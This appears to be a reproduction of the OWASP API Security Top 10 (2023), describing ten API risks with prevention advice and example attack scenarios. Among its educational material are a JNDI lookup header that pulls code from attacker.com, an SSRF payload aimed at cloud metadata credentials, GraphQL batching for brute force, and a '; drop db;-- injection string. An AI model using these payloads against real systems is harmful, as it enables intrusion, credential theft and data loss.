#
🐝 OWASP API 2023
#
🐝 API1-2023 - Broken Object Level Authorization
#
Use case
- API call parameters use the ID of the resource accessed through the APIÂ
/api/shop1/financial_info. - Attackers replace the IDs of their resources with a different one which they guessed throughÂ
/api/shop2/financial_info. - The API does not check permissions and lets the call through.
- Problem is aggravated if IDs can be enumeratedÂ
/api/123/financial_info.
#
How to prevent
- Implement authorization checks with user policies and hierarchy.
- Do not rely on IDs that the client sends. Use IDs stored in the session object instead.
- Check authorization for each client request to access database.
- Use random IDs that cannot be guessed (UUIDs).
#
Is the API Vulnerable?
Object level authorization is an access control mechanism that is usually implemented at the code level to validate that a user can only access the objects that they should have permissions to access.
Every API endpoint that receives an ID of an object, and performs any action on the object, should implement object-level authorization checks. The checks should validate that the logged-in user has permissions to perform the requested action on the requested object.
Failures in this mechanism typically lead to unauthorized information disclosure, modification, or destruction of all data.
Comparing the user ID of the current session (e.g. by extracting it from the JWT token) with the vulnerable ID parameter isn't a sufficient solution to solve BOLA. This approach could address only a small subset of cases.
In the case of BOLA, it's by design that the user will have access to the vulnerable API endpoint/function. The violation happens at the object level, by manipulating the ID. If an attacker manages to access an API endpoint/function they should not have access to - this is a case of BFLA rather than BOLA.
#
Example Attack Scenarios
#
Scenario #1
An e-commerce platform for online stores (shops) provides a listing page with
the revenue charts for their hosted shops. Inspecting the browser requests, an
attacker can identify the API endpoints used as a data source for those charts
and their pattern /shops/{shopName}/revenue_data.json. Using another API
endpoint, the attacker can get the list of all hosted shop names. With a
simple script to manipulate the names in the list, replacing {shopName} in
the URL, the attacker gains access to the sales data of thousands of e-commerce
stores.
#
Scenario #2
An automobile manufacturer has enabled remote control of its vehicles via a mobile API for communication with the driver's mobile phone. The API enables the driver to remotely start and stop the engine and lock and unlock the doors. As part of this flow, the user sends the Vehicle Identification Number (VIN) to the API. The API fails to validate that the VIN represents a vehicle that belongs to the logged in user, which leads to a BOLA vulnerability. An attacker can access vehicles that don't belong to them.
#
Scenario #3
An online document storage service allows users to view, edit, store and delete their documents. When a user's document is deleted, a GraphQL mutation with the document ID is sent to the API.
POST /graphql
{
"operationName":"deleteReports",
"variables":{
"reportKeys":["<DOCUMENT_ID>"]
},
"query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
{
deleteReports(reportKeys: $reportKeys)
}
}"
}
Since a document ID is deleted without any further permission checks, a user may be able to delete another user's document.
#
How To Prevent
- Implement a proper authorization mechanism that relies on the user policies and hierarchy.
- Use the authorization mechanism to check if the logged-in user has access to perform the requested action on the record in every function that uses an input from the client to access a record in the database.
- Prefer the use of random and unpredictable values as GUIDs for records' IDs.
- Write tests to evaluate the vulnerability of the authorization mechanism. Do not deploy changes that make the tests fail.
#
References
#
OWASP
#
External
#
🐝 API2-2023 - Broken Authentification
#
Use case
- Unprotected APIs that are considered âinternalâ
- Weak authentication that does not follow industry best practices
- Weak API keys that are not rotated
- Passwords that are weak, plain text, encrypted, poorly hashed, shared, or default passwords
- Authentication susceptible to brute force attacks and credential stuffing
- Credentials and keys included in URLs
- Lack of access token validation (including JWT validation)
- Unsigned or weakly signed non-expiring JWTs
#
How to prevent
- Check all possible ways to authenticate to all APIs.
- APIs for password reset and one-time links also allow users to authenticate, and should be protected just as rigorously.
- Use standard authentication, token generation, password storage, and multi-factor authentication (MFA).
- Use short-lived access tokens.
- Authenticate your apps (so you know who is talking to you).
- Use stricter rate-limiting for authentication, and implement lockout policies and weak password checks.
#
Is the API Vulnerable?
Authentication endpoints and flows are assets that need to be protected. Additionally, "Forgot password / reset password" should be treated the same way as authentication mechanisms.
A public-facing API is vulnerable if it:
- Permits credential stuffing where the attacker uses brute force with a list of valid usernames and passwords.
- Permits attackers to perform a brute force attack on the same user account, without presenting captcha/account lockout mechanism.
- Permits weak passwords.
- Sends sensitive authentication details, such as auth tokens and passwords in the URL.
- Allows users to change their email address, current password, or do any other sensitive operations without asking for password confirmation.
- Doesn't validate the authenticity of tokens.
- Accepts unsigned/weakly signed JWT tokens (
{"alg":"none"}) - Doesn't validate the JWT expiration date.
- Uses plain text, non-encrypted, or weakly hashed passwords.
- Uses weak encryption keys.
On top of that, a microservice is vulnerable if:
- Other microservices can access it without authentication
- Uses weak or predictable tokens to enforce authentication
#
Example Attack Scenarios
#
Scenario #1
In order to perform user authentication the client has to issue an API request like the one below with the user credentials:
POST /graphql
{
"query":"mutation {
login (username:\"<username>\",password:\"<password>\") {
token
}
}"
}
If credentials are valid, then an auth token is returned which should be provided in subsequent requests to identify the user. Login attempts are subject to restrictive rate limiting: only three requests are allowed per minute.
To brute force log in with a victim's account, bad actors leverage GraphQL query batching to bypass the request rate limiting, speeding up the attack:
POST /graphql
[
{"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"},
{"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"},
{"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"},
...
{"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"},
]
#
Scenario #2
In order to update the email address associated with a user's account, clients should issue an API request like the one below:
PUT /account
Authorization: Bearer <token>
{ "email": "<new_email_address>" }
Because the API does not require the user to confirm their identity by providing their current password, bad actors are able to put themselves in a position to steal the auth token.They also might be able to take over the victim's account by starting the reset password workflow after updating the email address of the victim's account.
#
How To Prevent
- Make sure you know all the possible flows to authenticate to the API (mobile/ web/deep links that implement one-click authentication/etc.). Ask your engineers what flows you missed.
- Read about your authentication mechanisms. Make sure you understand what and how they are used. OAuth is not authentication, and neither are API keys.
- Don't reinvent the wheel in authentication, token generation, or password storage. Use the standards.
- Credential recovery/forgot password endpoints should be treated as login endpoints in terms of brute force, rate limiting, and lockout protections.
- Require re-authentication for sensitive operations (e.g. changing the account owner email address/2FA phone number).
- Use the OWASP Authentication Cheatsheet.
- Where possible, implement multi-factor authentication.
- Implement anti-brute force mechanisms to mitigate credential stuffing, dictionary attacks, and brute force attacks on your authentication endpoints. This mechanism should be stricter than the regular rate limiting mechanisms on your APIs.
- Implement account lockout/captcha mechanisms to prevent brute force attacks against specific users. Implement weak-password checks.
- API keys should not be used for user authentication. They should only be used for API clients authentication.
#
References
#
OWASP
#
External
- CWE-204: Observable Response Discrepancy
- CWE-307: Improper Restriction of Excessive Authentication Attempts
#
🐝 API3-2023 - Broken Object Property Level Authorization 1
API3:2023 Broken Object Property Level Authorization brings together attackers gaining unauthorized access to sensitive information by way of API3:2019 Excessive Data Exposure or API6:2019 Mass Assignment. Both strategies are focused on manipulating API endpoints to gain access to unauthorized and typically sensitive data.
#
Is the API Vulnerable?
When allowing a user to access an object using an API endpoint, it is important to validate that the user has access to the specific object properties they are trying to access.
An API endpoint is vulnerable if:
The API endpoint exposes properties of an object that are considered sensitive and should not be read by the user. (previously named: "Excessive Data Exposure")
The API endpoint allows a user to change, add/or delete the value of a sensitive object's property which the user should not be able to access (previously named: "Mass Assignment")
#
Example Attack Scenarios
#
Scenario #1
A dating app allows a user to report other users for inappropriate behavior. As part of this flow, the user clicks on a "report" button, and the following API call is triggered:
POST /graphql
{
"operationName":"reportUser",
"variables":{
"userId": 313,
"reason":["offensive behavior"]
},
"query":"mutation reportUser($userId: ID!, $reason: String!) {
reportUser(userId: $userId, reason: $reason) {
status
message
reportedUser {
id
fullName
recentLocation
}
}
}"
}
The API Endpoint is vulnerable since it allows the authenticated user to have access to sensitive (reported) user object properties, such as "fullName" and "recentLocation" that are not supposed to be accessed by other users.
#
Scenario #2
An online marketplace platform, that offers one type of users ("hosts") to rent out their apartment to another type of users ("guests"), requires the host to accept a booking made by a guest, before charging the guest for the stay.
As part of this flow, an API call is sent by the host to
POST /api/host/approve_booking with the following legitimate payload:
{"approved":true,"comment":"Check-in is after 3pm"}
The host replays the legitimate request, and adds the following malicious payload:
{"approved":true,"comment":"Check-in is after 3pm","total_stay_price":"$1,000,000"}
The API endpoint is vulnerable because there is no validation that the host should have access to the internal object property - "total_stay_price", and the guest will be charged more than she was supposed to be.
#
Scenario #3
A social network that is based on short videos, enforces restrictive content filtering and censorship. Even if an uploaded video is blocked, the user can change the description of the video using the following API request
PUT /api/video/update_video
{"description":"a funny video about cats"}
A frustrated user can replay the legitimate request, and add the following malicious payload:
{"description":"a funny video about cats","blocked":false}
The API endpoint is vulnerable because there is no validation if the user should have access to the internal object property - "blocked", and the user can change the value from "true" to "false" and unlock their own blocked content.
#
How To Prevent
When exposing an object using an API endpoint, always make sure that the user should have access to the object's properties you expose.
Avoid using generic methods such as to_json() and to_string(). Instead, cherry-pick specific object properties you specifically want to return.
If possible, avoid using functions that automatically bind a client's input into code variables, internal objects, or object properties ("Mass Assignment").
Allow changes only to the object's properties that should be updated by the client.
Implement a schema-based response validation mechanism as an extra layer of security. As part of this mechanism, define and enforce data returned by all API methods.
Keep returned data structures to the bare minimum, according to the business/functional requirements for the endpoint.
#
References
#
OWASP
- API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019
- API6:2019 - Mass Assignment - OWASP API Security Top 10 2019
- Mass Assignment Cheat Sheet
#
External
- CWE-213: Exposure of Sensitive Information Due to Incompatible Policies
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
#
🐝 API4-2023 - Unrestricted Resources Consumption
Lack of Resources & Rate Limiting reclassified to API4:2023 Unrestricted Resource Consumption, focused on restricting vs. rate limiting bandwidth, CPU, memory, or the amount storage an API can consume at a given time. The reason for this change is simple, some APIs need stricter policies depending on what data they share. APIs are being exhausted by third-party services continuously attempting to share large amounts of data or even files between the systems, requiring stricter policies to ensure system performance isnât affected or computational resources donât skyrocket.
#
Use case
- Attackers overload the API by sending more requests than it can handle.
- Attackers send requests at a rate exceeding the API's processing speed, clogging it up.
- The size of the requests or some fields in them exceed what the API can process.
- âZip bombsâ, archive files that have been designed so that unpacking them takes excessive amount of resources and overloads the API.
#
How to prevent
- Define proper rate limiting.
- Limit payload sizes.
- Tailor the rate limiting to be match what API methods, clients, or addresses need or should be allowed to get.
- Add checks on compression ratios.
- Define limits for container resources.
#
Is the API Vulnerable?
Satisfying API requests requires resources such as network bandwidth, CPU, memory, and storage. Sometimes required resources are made available by service providers via API integrations, and paid for per request, such as sending emails/SMS/phone calls, biometrics validation, etc.
An API is vulnerable if at least one of the following limits is missing or set inappropriately (e.g. too low/high):
- Execution timeouts
- Maximum allocable memory
- Maximum number of file descriptors
- Maximum number of processes
- Maximum upload file size
- Number of operations to perform in a single API client request (e.g. GraphQL batching)
- Number of records per page to return in a single request-response
- Third-party service providers' spending limit
#
Example Attack Scenarios
#
Scenario #1
An attacker uploads a large image by issuing a POST request to /api/v1/images. When the upload is complete, the API creates multiple thumbnails with different sizes. Due to the size of the uploaded image, available memory is exhausted during the creation of thumbnails and the API becomes unresponsive.
#
Scenario #2
In order to activate a credit card the following API request should be issued providing the last four digits printed on it (only users with physical access to the card should be able to perform such operation):
POST /graphql
{
"query": "mutation {
validateOTP(token: \"abcdef\", card: \"123456\") {
authToken
}
}"
}
Bad actors will be able to perform the credit card activation without physical access to it, crafting a request like the one below:
POST /graphql
[
{"query": "mutation {activateCard(token: \"abcdef\", card: \"0000\") {authToken}}"},
{"query": "mutation {activateCard(token: \"abcdef\", card: \"0001\") {authToken}}"},
...
{"query": "mutation {activateCard(token: \"abcdef\", card: \"9999\") {authToken}}"}
}
Because the API does not limit the number of times the activateCard operation can be attempted, one of the mutations will succeed.
#
Scenario #3
A service provider allows clients to download arbitrarily large files using its API. These files are stored in cloud object storage and they don't change that often. The service provider relies on a cache service to have a better service rate and to keep bandwidth consumption low. The cache service only caches files up to 15GB.
When one of the files gets updated, its size increases to 18GB. All service clients immediately start pulling the new version. Because there were no consumption cost alerts, nor a maximum cost allowance for the cloud service, the next monthly bill increases from US$13, on average, to US$8k.
#
How To Prevent
Use container-based solutions that make it easy to limit memory, CPU, number of restarts, file descriptors, and processes.
Define and enforce a maximum size of data on all incoming parameters and payloads, such as maximum length for strings, maximum number of elements in arrays, and maximum upload file size (regardless of whether it is stored locally or in cloud storage).
Implement a limit on how often a client can interact with the API within a defined timeframe (rate limiting).
Rate limiting should be fine tuned based on the business needs. Some API Endpoints might require stricter policies.
Limit/throttle how many times or how often a single API client/user can execute a single operation (e.g. validate an OTP, or request password recovery without visiting the one-time URL).
Add proper server-side validation for query string and request body parameters, specifically the one that controls the number of records to be returned in the response.
Configure spending limits for all service providers/API integrations. When setting spending limits is not possible, billing alerts should be configured instead.
#
References
#
OWASP
- "Availability" - Web Service Security Cheat Sheet
- "DoS Prevention" - GraphQL Cheat Sheet
- "Mitigating Batching Attacks" - GraphQL Cheat Sheet
#
External
- CWE-770: Allocation of Resources Without Limits or Throttling
- CWE-400: Uncontrolled Resource Consumption
- CWE-799: Improper Control of Interaction Frequency
- "Rate Limiting (Throttling)" - Security Strategies for Microservices-based Application Systems, NIST
#
🐝 API5-2023 - Broken function level authorization
#
Use case
- Some administrative functions are exposed as APIs.
- Non-privileged users can access these functions without authorization if they know how.
- Can be a matter of knowing the URL, or using a different verb or a parameter:
/api/users/v1/user/myinfo/api/admins/v1/users/all
#
How to prevent
- Do not rely on the client to enforce admin access.
- Deny all access by default.
- Only allow operations to users belonging to the appropriate group or role.
- Properly design and test authorization.
#
Is the API Vulnerable?
The best way to find broken function level authorization issues is to perform a deep analysis of the authorization mechanism while keeping in mind the user hierarchy, different roles or groups in the application, and asking the following questions:
- Can a regular user access administrative endpoints?
- Can a user perform sensitive actions (e.g. creation, modification, or
deletion ) that they should not have access to by simply changing the HTTP
method (e.g. from
GETtoDELETE)? - Can a user from group X access a function that should be exposed only to
users from group Y, by simply guessing the endpoint URL and parameters
(e.g.
/api/v1/users/export_all)?
Don't assume that an API endpoint is regular or administrative only based on the URL path.
While developers might choose to expose most of the administrative endpoints
under a specific relative path, like /api/admins, it's very common to find these
administrative endpoints under other relative paths together with regular
endpoints, like /api/users.
#
Example Attack Scenarios
#
Scenario #1
During the registration process for an application that allows only invited
users to join, the mobile application triggers an API call to
GET /api/invites/{invite_guid}. The response contains a JSON with details
about the invite, including the user's role and the user's email.
An attacker duplicates the request and manipulates the HTTP method and endpoint
to POST /api/invites/new. This endpoint should only be accessed by
administrators using the admin console. The endpoint does not implement
function level authorization checks.
The attacker exploits the issue and sends a new invite with admin privileges:
POST /api/invites/new
{"email":"attacker@somehost.com","role":"admin"}
Later on, the attacker uses the maliciously crafted invite in order to create themselves an admin account and gain full access to the system.
#
Scenario #2
An API contains an endpoint that should be exposed only to administrators -
GET /api/admin/v1/users/all. This endpoint returns the details of all the
users of the application and does not implement function level authorization
checks. An attacker who learned the API structure takes an educated guess and
manages to access this endpoint, which exposes sensitive details of the users
of the application.
#
How To Prevent
Your application should have a consistent and easy-to-analyze authorization module that is invoked from all your business functions. Frequently, such protection is provided by one or more components external to the application code.
The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific roles for access to every function.
Review your API endpoints against function level authorization flaws, while keeping in mind the business logic of the application and groups hierarchy.
Make sure that all of your administrative controllers inherit from an administrative abstract controller that implements authorization checks based on the user's group/role.
Make sure that administrative functions inside a regular controller implement authorization checks based on the user's group and role.
#
References
#
OWASP
- Forced Browsing
- "A7: Missing Function Level Access Control", OWASP Top 10 2013
- Access Control
#
External
#
🐝 API6-2023 - Server Side Request Forgery
Mass Assignment being reclassified to API6:2023 Server Side Request Forgery, both focus on manipulating APIs. The biggest difference is Server Side Request Forgery is used to enumerate internal services by testing various URIs in the API whereas Mass Assignment enumerates APIs to expose data vs infrastructure.
Server-side Request Forgery (SSRF) is a type of web vulnerability that enables an attacker to send crafted requests from a server to other resources on the same or different network, potentially leading to data breaches or server-side attacks.
An example of SSRF would be if an attacker managed to exploit a web application that accepts URLs from users to access external content. They could then craft a request that triggers the server to connect to a vulnerable backend server on the same network and exfiltrate sensitive data or take over the server. This attack can be particularly devastating since it bypasses most firewalls and can be challenging to detect.
To remediate SSRF vulnerabilities, it's important to take a multi-layered approach. First, it's crucial to validate and sanitize all input received from users to ensure that they do not contain malicious content, such as crafted URLs or injection attacks. It's also advisable to perform input validation at the network level to ensure that only permitted IP addresses can access the server. Another remediation technique is to implement a whitelist approach for any URLs that the server can access. This involves creating a list of approved URLs that the server can connect to and rejecting any URLs that are not on the list. Additionally, it's recommended to implement network-level access controls to prevent servers from accessing external resources unless explicitly permitted.
import requests
# Malicious URL crafted to target a backend server on the same network
malicious_url = 'http://backend-server.local/secret_data'
# The web application accepts URLs from users and sends requests to them
user_url = input('Enter a URL to access: ')
# The attacker crafts a request to the web application with the malicious URL
response = requests.get('https://web-app.com/access?url=' + malicious_url)
# The response from the server is printed to the console
print(response.text)
#
Is the API Vulnerable?
Server-Side Request Forgery (SSRF) flaws occur whenever an API is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall or a VPN.
Modern concepts in application development make SSRF more common and more dangerous.
More common - the following concepts encourage developers to access an external resource based on user input: Webhooks, file fetching from URLs, custom SSO, and URL previews.
More dangerous - Modern technologies like cloud providers, Kubernetes, and Docker expose management and control channels over HTTP on predictable, well-known paths. Those channels are an easy target for an SSRF attack.
It is also more challenging to limit outbound traffic from your application, because of the connected nature of modern applications.
The SSRF risk can not always be completely eliminated. While choosing a protection mechanism, it is important to consider the business risks and needs.
#
Example Attack Scenarios
#
Scenario #1
A social network allows users to upload profile pictures. The user can choose either to upload the image file from their machine, or provide the URL of the image. Choosing the second, will trigger the following API call:
POST /api/profile/upload_picture
{"picture_url":"http:///example.com/profile_pic.jpg"}
An attacker can send a malicious URL and initiate port scanning within the internal network using the API Endpoint.
{"picture_url":"localhost:8080"}
Based on the response time, the attacker can figure out whether the port is open or not.
#
Scenario #2
A security product generates events when it detects anomalies in the network. Some teams prefer to review the events in a broader, more generic monitoring system, such as a SIEM (Security Information and Event Management). For this purpose, the product provides integration with other systems using webhooks.
As part of a creation of a new webhook, a GraphQL mutation is sent with the URL of the SIEM API.
POST /graphql
[
{
"variables": {},
"query": "mutation {
createNotificationChannel(input: {
channelName: \"ch_piney\",
notificationChannelConfig: {
customWebhookChannelConfigs: [
{
url: \"http://www.siem-system.com/create_new_event\",
send_test_req: true
}
]
}
}){
channelId
}
}"
}
]
During the creation process, the API backend sends a test request to the provided webhook URL, and presents to the user the response.
An attacker can leverage this flow, and make the API request a sensitive resource, such as an internal cloud metadata service that exposes credentials:
POST /graphql
[
{
"variables": {},
"query": "mutation {
createNotificationChannel(input: {
channelName: \"ch_piney\",
notificationChannelConfig: {
customWebhookChannelConfigs: [
{
url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\",
send_test_req: true
}
]
}
}) {
channelId
}
}
}
]
Since the application shows the response from the test request, the attacker can view the credentials of the cloud environment.
#
How To Prevent
- Isolate the resource fetching mechanism in your network: usually these features are aimed to retrieve remote resources and not internal ones.
- Whenever possible, use allow lists of
- Remote origins users are expected to download resources from (e.g. Google Drive, Gravatar, etc.)
- URL schemes and ports
- Accepted media types for a given functionality
- Disable HTTP redirections.
- Use a well-tested and maintained URL parser to avoid issues caused by URL parsing inconsistencies.
- Validate and sanitize all client-supplied input data.
- Do not send raw responses to clients.
#
References
#
OWASP
#
External
- CWE-918: Server-Side Request Forgery (SSRF)
- URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, Snyk
#
🐝 API7-2023 - Security Misconfiguration
#
Use case
- Unpatched systems
- Unprotected files and directories
- Unhardened images
- Missing, outdated, or misconfigured TLS
- Exposed storage or server management panels
- Missing CORS policy or security headers
- Error messages with stack traces
- Unnecessary features enabled
#
How to prevent
- Establish repeatable hardening and patching processes.
- Automate locating configuration flaws.
- Disable unnecessary features.
- Restrict administrative access.
- Define and enforce all outputs, including errors.
#
Is the API Vulnerable?
The API might be vulnerable if:
- Appropriate security hardening is missing across any part of the API stack, or if there are improperly configured permissions on cloud services
- The latest security patches are missing, or the systems are out of date
- Unnecessary features are enabled (e.g. HTTP verbs, logging features)
- There are discrepancies in the way incoming requests are processed by servers in the HTTP server chain
- Transport Layer Security (TLS) is missing
- Security or cache control directives are not sent to clients
- A Cross-Origin Resource Sharing (CORS) policy is missing or improperly set
- Error messages include stack traces, or expose other sensitive information
#
Example Attack Scenarios
#
Scenario #1
An API back-end server maintains an access log written by a popular third-party
open-source logging utility with support for placeholder expansion and JNDI
(Java Naming and Directory Interface) lookups, both enabled by default. For
each request, a new entry is written to the log file with the following
pattern: <method> <api_version>/<path> - <status_code>.
A bad actor issues the following API request, which gets written to the access log file:
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
Due to the insecure default configuration of the logging utility and a
permissive network outbound policy, in order to write the corresponding entry
to the access log, while expanding the value in the X-Api-Version request
header, the logging utility will pull and execute the Malicious.class object
from the attacker's remote controlled server.
#
Scenario #2
A social network website offers a "Direct Message" feature that allows users to keep private conversations. To retrieve new messages for a specific conversation, the website issues the following API request (user interaction is not required):
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
Because the API response does not include the Cache-Control HTTP response header, private conversations end-up cached by the web browser, allowing malicious actors to retrieve them from the browser cache files in the filesystem.
#
How To Prevent
The API life cycle should include
A repeatable hardening process leading to fast and easy deployment of a properly locked down environment
A task to review and update configurations across the entire API stack. The review should include: orchestration files, API components, and cloud services (e.g. S3 bucket permissions)
An automated process to continuously assess the effectiveness of the configuration and settings in all environments
Furthermore:
Ensure that all API communications from the client to the API server and any downstream/upstream components happen over an encrypted communication channel (TLS), regardless of whether it is an internal or public-facing API.
Be specific about which HTTP verbs each API can be accessed by: all other HTTP verbs should be disabled (e.g. HEAD).
Implement a proper Cross-Origin Resource Sharing (CORS) policy on APIs expected to be accessed from browser-based clients (e.g. web app front-ends).
Ensure all servers in the HTTP server chain (e.g. load balancers, reverse and forward proxies, and back-end servers) process incoming requests in a uniform manner to avoid desync issues.
Where applicable, define and enforce all API response payload schemas, including error responses, to prevent exception traces and other valuable information from being sent back to attackers.
#
References
#
OWASP
- OWASP Secure Headers Project
- Configuration and Deployment Management Testing - Web Security Testing Guide
- Testing for Error Handling - Web Security Testing Guide
- Testing for Cross Site Request Forgery - Web Security Testing Guide
#
External
- CWE-2: Environmental Security Flaws
- CWE-16: Configuration
- CWE-209: Generation of Error Message Containing Sensitive Information
- CWE-319: Cleartext Transmission of Sensitive Information
- CWE-388: Error Handling
- CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- Guide to General Server Security, NIST
- Let's Encrypt: a free, automated, and open Certificate Authority
#
🐝 API8-2023 - Lack of Protection from Automated Threats
#
Is the API Vulnerable?
Automated threats have become more profitable, smarter and harder to protect from, and APIs are often used as an easy target for them. Traditional protections, such as rate limiting and captchas become less effective over time. For example, an attacker who operates bot-nets (for scalping) gets around rate limiting because they can easily access the API from thousands of location/IP addresses around the world, in a matter of seconds.
Vulnerable APIs don't necessarily have implementation bugs. They simply expose a business flow - such as buying a ticket, or posting a comment - without considering how the functionality could harm the business if used excessively in an automated manner.
Each industry might have its own specific risks when it comes to automated threats.
An API endpoint is vulnerable if it exposes a business-sensitive functionality, and allows an attacker to harm the business by accessing it in an excessive automated manner.
The OWASP Automated Threats to Web Applications covers different types of automated threats and their impact.
#
Example Attack Scenarios
#
Scenario #1
A technology company announces they are going to release a new gaming console on Thanksgiving. The product has a very high demand and the stock is limited. An attacker, operator of a network of automated threats, writes code to automatically buy the new product and complete the transaction.
On the release day, the attacker runs the code distributed across different IP addresses and locations. The API doesn't implement the appropriate protection and allows the attacker to buy the majority of the stock before other legitimate users.
Later on, the attacker sells the product on another platform for a much higher price.
#
Scenario #2
A ride-sharing app provides a referral program - users can invite their friends and gain credit for each friend who has joined the app. This credit can be later used as cash to book rides.
An attacker exploits this flow by writing a script to automate the registration process, with each new user adding credit to the attacker's wallet.
The attacker can later enjoy free rides or sell the accounts with excessive credits for cash.
#
How To Prevent
The mitigation planning should be done in two layers:
- Business - identify the business flows that might harm the business if they are excessively used.
Engineering - choose the right protection mechanisms to mitigate the business risk.
Some of the protection mechanisms are more simple while others are more difficult to implement. The following methods are used to slow down automated threats:
Device fingerprinting: denying service to unexpected client devices (e.g headless browsers) tends to make threat actors use more sophisticated solutions, thus more costly for them
Human detection: using either captcha or more advanced biometric solutions (e.g. typing patterns)
Non-human patterns: analyze the user flow to detect non-human patterns (e.g. the user accessed the "add to cart" and "complete purchase" functions in less than one second)
Consider blocking IP addresses of Tor exit nodes and well-known proxies
- Secure and limit access to APIs that are consumed directly by machines (such as developer and B2B APIs). They tend to be an easy target for attackers because they often don't implement all the required protection mechanisms.
#
References
#
OWASP
#
🐝 API9-2023 - Improper Inventory Management
#
Is the API Vulnerable?
The sprawled and connected nature of APIs and modern applications brings new challenges. It is important for organizations not only to have a good understanding and visibility of their own APIs and API endpoints, but also how the APIs are storing or sharing data with external third parties.
Running multiple versions of an API requires additional management resources from the API provider and expands the attack surface.
An API has a "documentation blindspotâ if:
- The purpose of an API host is unclear, and there are no explicit answers to
the following questions
- Which environment is the API running in (e.g. production, staging, test, development)?
- Who should have network access to the API (e.g. public, internal, partners)?
- Which API version is running?
- There is no documentation or the existing documentation is not updated.
- There is no retirement plan for each API version.
- The host's inventory is missing or outdated.
The visibility and inventory of sensitive data flows play an important role as part of an incident response plan, in case a breach happens on the third party side.
An API has a "data flow blindspot" if:
- There is a "sensitive data flow" where the API shares sensitive data with a
third party and
- There is not a business justification or approval of the flow
- There is no inventory or visibility of the flow
- There is not deep visibility of which type of sensitive data is shared
#
Example Attack Scenarios
#
Scenario #1
A social network implemented a rate-limiting mechanism that blocks attackers from using brute force to guess reset password tokens. This mechanism wasn't implemented as part of the API code itself but in a separate component between the client and the official API (www.socialnetwork.com). A researcher found a beta API host (www.mbasic.beta.socialnetwork.com) that runs the same API, including the reset password mechanism, but the rate-limiting mechanism was not in place. The researcher was able to reset the password of any user by using simple brute force to guess the 6 digit token.
#
Scenario #2
A social network allows developers of independent apps to integrate with it. As part of this process a consent is requested from the end user, so the social network can share the user's personal information with the independent app.
The data flow between the social network and the independent apps is not restrictive or monitored enough, allowing independent apps to access not only the user information but also the private information of all of their friends.
A consulting firm builds a malicious app and manages to get the consent of 270,000 users. Because of the flaw, the consulting firm manages to get access to the private information of 50,000,000 users. Later, the consulting firm sells the information for malicious purposes.
#
How To Prevent
- Inventory all API hosts and document important aspects of each one of them, focusing on the API environment (e.g. production, staging, test, development), who should have network access to the host (e.g. public, internal, partners) and the API version.
- Inventory integrated services and document important aspects such as their role in the system, what data is exchanged (data flow), and their sensitivity.
- Document all aspects of your API such as authentication, errors, redirects, rate limiting, cross-origin resource sharing (CORS) policy, and endpoints, including their parameters, requests, and responses.
- Generate documentation automatically by adopting open standards. Include the documentation build in your CI/CD pipeline.
- Make API documentation available only to those authorized to use the API.
- Use external protection measures such as API security specific solutions for all exposed versions of your APIs, not just for the current production version.
- Avoid using production data with non-production API deployments. If this is unavoidable, these endpoints should get the same security treatment as the production ones.
- When newer versions of APIs include security improvements, perform a risk analysis to inform the mitigation actions required for the older versions. For example, whether it is possible to backport the improvements without breaking API compatibility or if you need to take the older version out quickly and force all clients to move to the latest version.
#
References
#
External
#
🐝 API10-2023 - Unsafe Consumption of APIs
#
Is the API Vulnerable?
Developers tend to trust data received from third-party APIs more than user input. This is especially true for APIs offered by well-known companies. Because of that, developers tend to adopt weaker security standards, for instance, in regards to input validation and sanitization.
The API might be vulnerable if:
- Interacts with other APIs over an unencrypted channel;
- Does not properly validate and sanitize data gathered from other APIs prior to processing it or passing it to downstream components;
- Blindly follows redirections;
- Does not limit the number of resources available to process third-party services responses;
- Does not implement timeouts for interactions with third-party services;
#
Example Attack Scenarios
#
Scenario #1
An API relies on a third-party service to enrich user provided business addresses. When an address is supplied to the API by the end user, it is sent to the third-party service and the returned data is then stored on a local SQL-enabled database.
Bad actors use the third-party service to store an SQLi payload associated with a business created by them. Then they go after the vulnerable API providing specific input that makes it pull their "malicious business" from the third-party service. The SQLi payload ends up being executed by the database, exfiltrating data to an attacker's controlled server.
#
Scenario #2
An API integrates with a third-party service provider to safely store sensitive user medical information. Data is sent over a secure connection using an HTTP request like the one below:
POST /user/store_phr_record
{ "genome": "ACTAGTAG__TTGADDAAIICCTTâŠ" }
Bad actors found a way to compromise the third-party API and it starts responding with a 308 Permanent Redirect to requests like the previous one.
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
Since the API blindly follows the third-party redirects, it will repeat the exact same request including the user's sensitive data, but this time to the attacker's server.
#
Scenario #3
An attacker can prepare a git repo named '; drop db;--.
Now, when an integration from an attacked application is done with the malicious repo, an injection payload is used on an application that builds an SQL query believing the repo's name is safe input.
#
How To Prevent
- When evaluating service providers, assess their API security posture.
- Ensure all API interactions happen over a secure communication channel (TLS).
- Always validate and properly sanitize data received from integrated APIs before using it.
- Maintain an allowlist of well-known locations integrated APIs may redirect yours to: do not blindly follow redirects.
#
References
#
OWASP
- Web Service Security Cheat Sheet
- Injection Flaws
- Input Validation Cheat Sheet
- Injection Prevention Cheat Sheet
- Transport Layer Protection Cheat Sheet
- Unvalidated Redirects and Forwards Cheat Sheet
#
External
- CWE-20: Improper Input Validation
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-319: Cleartext Transmission of Sensitive Information
